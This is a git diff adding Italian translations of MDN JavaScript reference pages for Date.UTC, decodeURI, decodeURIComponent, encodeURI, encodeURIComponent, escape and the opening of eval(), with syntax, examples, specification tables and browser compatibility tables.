+<h3 id="Utilizzando_Date.UTC()">Utilizzando <code>Date.UTC()</code></h3>
+
+<p>La seguente dichiarazione crea un oggetto {{jsxref("Date")}} con gli argomenti trattati come  UTC invece di local:</p>
+
+<pre class="brush:js">var utcDate = new Date(Date.UTC(2018, 11, 1, 0, 0, 0));
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-date.utc', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.9.4.3', 'Date.UTC')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td> Definizione iniziale. Implementata in JavaScript 1.0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.UTC")}}</p>
+
+<h2 id="Note_di_compatibilità">Note di compatibilità</h2>
+
+<h3 id="Date.UTC_con_meno_di_due_argomenti"><code>Date.UTC</code> con meno di due argomenti</h3>
+
+<p>Quando si provvedono meno di due argomenti a <code>Date.UTC</code>, ECMAScript 2017 richiede che  {{jsxref("NaN")}} sia restituito. Motori che non supportavano tale comportamento sono stati aggiornati (vedere {{bug(1050755)}}, <a href="https://github.com/tc39/ecma262/pull/642">ecma-262 #642</a>).</p>
+
+<pre class="brush: js">Date.UTC();
+Date.UTC(1);
+
+// Safari: NaN
+// Chrome/Opera/V8: NaN
+
+// Firefox &lt;54: non-NaN
+// Firefox 54+: NaN
+
+// IE: non-NaN
+// Edge: NaN
+</pre>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li>{{jsxref("Date.parse()")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/decodeuri/index.html b/files/it/web/javascript/reference/global_objects/decodeuri/index.html
new file mode 100644
index 0000000000..40a65b0c57
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/decodeuri/index.html
@@ -0,0 +1,120 @@
+---
+title: decodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURI
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>decodeURI()</code></strong> decodifica un {{Glossary("URI")}} creato da {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} o una funzione simile.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>decodeURI(<i>encodedURI</i>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>encodedURI</code></dt>
+ <dd>Un {{Glossary("URI")}} completo.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Sostituisce ogni sequenza di escape nell'{{Glossary("URI")}} codificato con il carattere che la rappresenta, ma non decodifica sequenze di escape che non potrebbero essere state create dalla {{jsxref("Global_Objects/encodeURI", "encodeURI()")}}, come il carattere <code><strong>#</strong></code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Decodificare_un_URL_in_Cirillico">Decodificare un URL in Cirillico</h3>
+
+<pre class="brush: js">decodeURI("https://developer.mozilla.org/ru/docs/JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "https://developer.mozilla.org/ru/docs/JavaScript_шеллы"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.1', 'decodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuri-encodeduri', 'decodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/it/web/javascript/reference/global_objects/decodeuricomponent/index.html
new file mode 100644
index 0000000000..243bd14a93
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -0,0 +1,124 @@
+---
+title: decodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>decodeURIComponent()</code></strong> decodifica una parte di {{Glossary("URI")}} creata da {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}} o una funzione simile.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURIComponent</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>encodedURIComponent</code></dt>
+ <dd>Una parte codificata di un {{Glossary("URI")}}</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Sostituisce ogni sequenza di escape nella parte di {{Glossary("URI")}} codificata con il carattere che la rappresenta.</p>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="Decodificare_una_parte_di_URL_in_Cirillico">Decodificare una parte di URL in Cirillico</h3>
+
+<pre class="brush: js">decodeURIComponent("JavaScript_%D1%88%D0%B5%D0%BB%D0%BB%D1%8B");
+// "JavaScript_шеллы"
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.2', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-decodeuricomponent-encodeduricomponent', 'decodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/encodeuri/index.html b/files/it/web/javascript/reference/global_objects/encodeuri/index.html
new file mode 100644
index 0000000000..24118aec60
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/encodeuri/index.html
@@ -0,0 +1,160 @@
+---
+title: encodeURI()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURI
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>encodeURI()</code></strong> codifica un {{Glossary("URI")}} sostituendo alcuni specifici caratteri con una, due, tre o quattro sequenze di escape, che rappresentano il carattere codificato in {{Glossary("UTF-8")}} (le sequenze di quattro caratteri di escape verrano solo create per i caratteri composti da due caratteri "surrogati").</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>encodeURI(<em>uri</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code><font face="Consolas, Monaco, Andale Mono, monospace">uri</font></code></dt>
+ <dd>Un {{Glossary("URI")}} completo.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>Questa funzione assume che <code>uri</code> sia un {{Glossary("URI")}} completo, quindi non codifica i caratteri riservati che hanno un significato particolare nell'{{Glossary("URI")}}.</p>
+
+<p><code>encodeURI</code> sostituisce tutti i caratteri con la sequenza di escape UTF-8 appropriata, ecceto i seguenti:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Tipo</td>
+   <td class="header">Caratteri</td>
+  </tr>
+  <tr>
+   <td>Caratteri riservati</td>
+   <td><code>;</code> <code>,</code> <code>/</code> <code>?</code> <code>:</code> <code>@</code> <code>&amp;</code> <code>=</code> <code>+</code> <code>$</code></td>
+  </tr>
+  <tr>
+   <td>Caratteri non codificati</td>
+   <td>lettere, cifre, <code>-</code> <code>_</code> <code>.</code> <code>!</code> <code>~</code> <code>*</code> <code>'</code> <code>(</code> <code>)</code></td>
+  </tr>
+  <tr>
+   <td>Score</td>
+   <td><code>#</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>encodeURI</code> <strong>non</strong> prepara una richiesta HTTP GET o POST, ad esempio per {{domxref("XMLHttpRequest")}}, perché "&amp;", "+" e "=" non vengono codificati, ma sono trattati come caratteri speciali nelle richieste GET e POST. Se è necessario codificarli, usare la funzione {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}.</p>
+
+<p>Se si tenta di codificare un surrogato che non è parte di una coppia, verrà generato un {{jsxref("Global_Objects/URIError", "URIError")}}.</p>
+
+<pre class="brush: js">// Coppia surrogata: Ok
+encodeURI("\uD800\uDFFF");
+
+// Solo il primo carattere surrogato:
+// Viene generato un "URIError: malformed URI sequence"
+encodeURI("\uD800");
+
+// Solo il secondo carattere surrogato:
+// Viene generato un "URIError: malformed URI sequence"
+encodeURI("\uDFFF"); </pre>
+
+<p>Se uno desidera seguire il più recente standard per gli {{Glossary("URL")}} <a href="http://tools.ietf.org/html/rfc3986">RFC3986</a>, nel quale le parentesi quadre sono caratteri riservati (per gli indirizzi {{Glossary("IPv6")}}), può essere utile il seguente codice:</p>
+
+<pre class="brush: js">function fixedEncodeURI(str) {
+    return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
+}</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.3', 'encodeURI')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuri-uri', 'encodeURI')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/it/web/javascript/reference/global_objects/encodeuricomponent/index.html
new file mode 100644
index 0000000000..66b290ccb4
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -0,0 +1,162 @@
+---
+title: encodeURIComponent()
+slug: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>encodeURIComponent()</code></strong> codifica un componente di un {{Glossary("URI")}} sostituendo alcuni specifici caratteri con una, due, tre o quattro sequenze di escape, che rappresentano il carattere codificato in {{Glossary("UTF-8")}} (le sequenze di quattro caratteri di escape verrano solo create per i caratteri composti da due caratteri "surrogati").</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox">encodeURIComponent(uriComponent);</pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>uriComponent</code></dt>
+ <dd>Una parte di un {{Glossary("URI")}}</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>encodeURIComponent</code> sostituisce tutti i caratteri esclusi i seguenti: lettere, cifre, <code>- _ . ! ~ * ' ( )</code></p>
+
+<p>Se si tenta di codificare un surrogato che non è parte di una coppia, verrà generato un {{jsxref("Global_Objects/URIError", "URIError")}}.</p>
+
+<pre class="brush: js">// Coppia surrogata: Ok
+encodeURIComponent("\uD800\uDFFF");
+
+// Solo il primo carattere surrogato:
+// Viene generato un "URIError: malformed URI sequence"
+encodeURIComponent("\uD800");
+
+// Solo il secondo carattere surrogato:
+// Viene generato un "URIError: malformed URI sequence"
+encodeURIComponent("\uDFFF");</pre>
+
+<p>Per evitare problemi inaspettati durante le richieste al server, bisognerebbe richiamare <code>encodeURIComponent</code> su ogni dato inserito dall'utente che verrà passato come parte di un {{Glossary("URI")}}. Per esempio, un un utente potrebbe digitare "<code>Cani&amp;Gatti = animali"</code>. Senza utilizzare la funzione <code>encodeURIComponent</code>, la richiesta verrebbe costruita in modo simile a "<code>commento=Cani&amp;Gatti%20=%20animali</code>". Notare che sono due variabili separate: "<code>commento</code>" e "<code>Gatti%20</code>". Utilizzando quuesta funzione verrebbe invece costruita come "<code>commento=Cani%26Gatti%20%3D%20animali​</code>".</p>
+
+<p>Utilizzando <a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/association-of-controls-and-forms.html#application/x-www-form-urlencoded-encoding-algorithm"><code>application/x-www-form-urlencoded</code></a>, gli spazi devono essere sostituiti da un "<code>+</code>"., quindi si potrebbe usare la funzione <code>encodeURIComponent</code> seguita da un altra sostituzione da "<code>%20</code>" a "<code>+</code>".</p>
+
+<p>Per aderire con più precisione allo standard <a class="external" href="http://tools.ietf.org/html/rfc3986">RFC 3986</a> (secondo il quale <code>!</code>, <code>'</code>, <code>(</code>, <code>)</code> e <code>*</code> sono caratteri riservati), si può usare la seguente funzione:</p>
+
+<pre class="brush: js">function fixedEncodeURIComponent(str) {
+  return encodeURIComponent(str).replace(/[!'()*]/g, function (c) {
+    return '%' + c.charCodeAt(0).toString(16);
+  });
+}
+</pre>
+
+<h2 id="See_also" name="See_also">Esempi</h2>
+
+<p>Il seguente esempio fornisce un metodo per codificare come richiesto dall'header <code>Content-Disposition</code>:</p>
+
+<pre class="brush: js">var fileName = 'my file(2).txt';
+var header = "Content-Disposition: attachment; filename*=UTF-8''"
+             + encodeRFC5987ValueChars(fileName);
+
+console.log(header);
+// logs "Content-Disposition: attachment; filename*=UTF-8''my%20file%282%29.txt"
+
+
+function encodeRFC5987ValueChars (str) {
+    return encodeURIComponent(str).
+        // Notare che anche se per l'RFC3986 "!" è riservato, non lo è per
+        // l' RFC5987, quindi non viene sostituito
+        replace(/['()]/g, escape). // i.e., %27 %28 %29
+        replace(/\*/g, '%2A').
+            // Per l'RFC5987 questi caratteri non necessitano di essere codificati,
+            // quindi possiamo consentire un po' più di leggibilità: |`^
+            replace(/%(?:7C|60|5E)/g, unescape);
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.3.4', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-encodeuricomponent-uricomponent', 'encodeURIComponent')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/escape/index.html b/files/it/web/javascript/reference/global_objects/escape/index.html
new file mode 100644
index 0000000000..77fa1e5bf0
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/escape/index.html
@@ -0,0 +1,126 @@
+---
+title: escape()
+slug: Web/JavaScript/Reference/Global_Objects/escape
+translation_of: Web/JavaScript/Reference/Global_Objects/escape
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}} {{deprecated_header}}</div>
+</div>
+</div>
+
+<h2 id="Summary" name="Summary">Sommario</h2>
+
+<p>La funzione <strong><code>escape()</code></strong>, deprecata, crea una nuova stringa nella quale alcuni caratteri vengono sostituiti con una sequenza di escape esadecimale. È preferibile usare le funzioni {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} o {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>escape(string)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>La stringa da codificare.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p>La funzione <code>escape()</code> è una proprietà dell'<em>oggetto globale</em>. Vengono codificati tutti i caratteri speciali, ad eccezione di: <code>@ * _ + - . /</code></p>
+
+<p>I caratteri vengono sostituiti con codici esadecimali che possono avere due caratteri, se il loro valore è minore o ugugale a 0xFF, (%xx) oppure quattro (%<strong>u</strong>xxxx).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">escape("abc123");     // "abc123"
+escape("äöü");        // "%E4%F6%FC"
+escape("ć");          // "%u0107"
+
+// Caratteri speciali
+escape("@*_+-./");    // "@*_+-./"</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-B.2.1', 'escape')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definita nell'appendice B, "<em>Compatibility</em>"</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-escape-string', 'escape')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definita nell'appendice B, "<em>Additional ECMAScript Features for Web Browsers</em>"</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Funzionalità</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto di base</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th><span style="font-family: 'Open Sans Light', sans-serif; font-size: 16px; line-height: 16px;">Funzionalità</span></th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Supporto di base</span></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/eval/index.html b/files/it/web/javascript/reference/global_objects/eval/index.html
new file mode 100644
index 0000000000..22e3c70bb6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/eval/index.html
@@ -0,0 +1,231 @@
+---
+title: eval()
+slug: Web/JavaScript/Reference/Global_Objects/eval
+translation_of: Web/JavaScript/Reference/Global_Objects/eval
+---
+<p>{{jsSidebar("Objects")}}</p>
+
+<h2 id="Summary" name="Summary">Riassunto</h2>
+
+<p>Il metodo <code><strong>eval()</strong></code> esegue il codice JavaScript rappresentato come una stringa.</p>
+
+<h2 id="Syntax" name="Syntax">Sintassi</h2>
+
+<pre class="syntaxbox"><code>eval(<em>stringa</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parametri</h3>
+
+<dl>
+ <dt><code>string</code></dt>
+ <dd>Una stringa che rappresenta un'espressione JavaScript, dichiarazione o sequenza di istruzioni. L'espressione può includere le variabili e le proprietà degli oggetti esistenti.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descrizione</h2>
+
+<p><code>eval()</code> è una funzione dell'oggetto globale.</p>
+
